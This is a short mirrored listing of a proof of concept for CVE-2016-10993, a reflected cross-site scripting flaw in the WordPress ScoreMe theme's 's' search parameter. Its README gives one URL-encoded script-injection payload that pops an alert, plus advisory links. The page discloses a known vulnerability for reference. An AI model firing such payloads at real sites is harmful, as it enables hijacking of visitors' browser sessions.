CVE-2016-10993 PoC — WordPress ScoreMe theme 跨站脚本漏洞

Source

https://github.com/0xkucing/CVE-2016-10993

Associated Vulnerability

Title:WordPress ScoreMe theme 跨站脚本漏洞 (CVE-2016-10993)
Description:The ScoreMe theme through 2016-04-01 for WordPress has XSS via the s parameter.

Description

CVE-2016-10993

Readme

# CVE-2016-10993

Wordpress Vulnerability - XSS ( Cross-Site Scripting )

## **Vulnerability Location**
```https://themesinfo.com/scoreme-wordpress-theme-design-496```

## **Proof of Concept (PoC)**
```https://example.com/?s=%22%2F%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E```


### Refrensi

https://wpscan.com/vulnerability/8431

https://nvd.nist.gov/vuln/detail/cve-2016-10993

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-10993

File Snapshot


 [4.0K]  /data/pocs/d183c9bd14ed6cfab9fe77757297e257385c1cd0
└── [ 472]  README.md

0 directories, 1 file

Shenlong Bot has cached this for you

Remarks

1. It is advised to access via the original source first.

2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.

View subscription plans →

Goal Reached Thanks to every supporter — we hit 100%!